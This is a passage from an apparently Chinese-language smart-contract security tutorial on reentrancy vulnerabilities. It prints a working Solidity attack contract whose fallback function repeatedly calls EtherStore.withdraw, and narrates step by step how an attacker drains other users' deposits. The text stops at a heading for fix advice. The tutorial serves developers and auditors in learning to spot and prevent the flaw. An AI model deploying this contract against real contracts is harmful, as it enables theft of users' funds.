2. 我们可以看到在 withdraw 函数中是先执行外部调用进行转账后才将账户余额清零的,那我们可不可以在转账外部调用的时候构造一个恶意的逻辑合约在合约执行 balance[msg.sender]=0 之前一直循环调用 withdraw 函数一直提币从而将合约账户清空呢? 下面我们看看攻击者编写的攻击合约中的攻击手法是否与我们的漏洞分析相同: 攻击合约 contract Attack { EtherStore public etherStore;constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); }/Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } }function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); }/Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }} 我们看到 EtherStore 合约是一个充提合约,我们可以在其中充提以太。下面我们将利用攻击合约将 EtherStore 合约中用户的余额清零的: 这里我们将引用三个角色,分别为: 用户:ALICE,Bob 攻击者:Eve 1. 部署 EtherStore 合约; 2. 用户 1(Alice)和用户 2(Bob)都分别将 1 个以太币充值到 EtherStore 合约中; 3. 攻击者 Eve 部署 Attack 合约时传入 EtherStore 合约的地址; 4. 攻击者 Eve 调用 Attack.attack 函数,Attack.attack 又调用 EtherStore.deposit 函数,充值 1 个以太币到 EtherStore 合约中,此时 EtherStore 合约中共有 3 个以太,分别为 Alice、Bob 的 2 个以太和攻击者 Eve 刚刚充值进去的 1 个以太。然后 Attack.attack 又调用 EtherStore.withdraw 函数将自己刚刚充值的以太取出,此时 EtherStore 合约中就只剩下 Alice、Bob 的 2 个以太了; 5. 当 Attack.attack 调用 EtherStore.withdraw 提取了先前 Eve 充值的 1 个以太时会触发 Attack.fallback 函数。这时只要 EtherStore 合约中的以太大于或等于 1 Attack.fallback 就会一直调用 EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中,直到 EtherStore 合约中的以太小于 1 。这样攻击者 Eve 会得到 EtherStore 合约中剩下的 2 个以太币(Alice、Bob 充值的两枚以太币)。 下面是攻击者的函数调用流程图: 修复建议 看了上面的攻击手法相信大家对重入漏洞都会有一个自己的认知,但是只会攻击可不行,我们的目的是为了防御,那么作为开发人员如何避免写出漏洞代码还有作为审计人员如何快速发现问题代码呢,下面我们就以这两个身份来分析如何防御重入漏洞和如何在代码中快速找出重入漏洞: (责任编辑:admin) |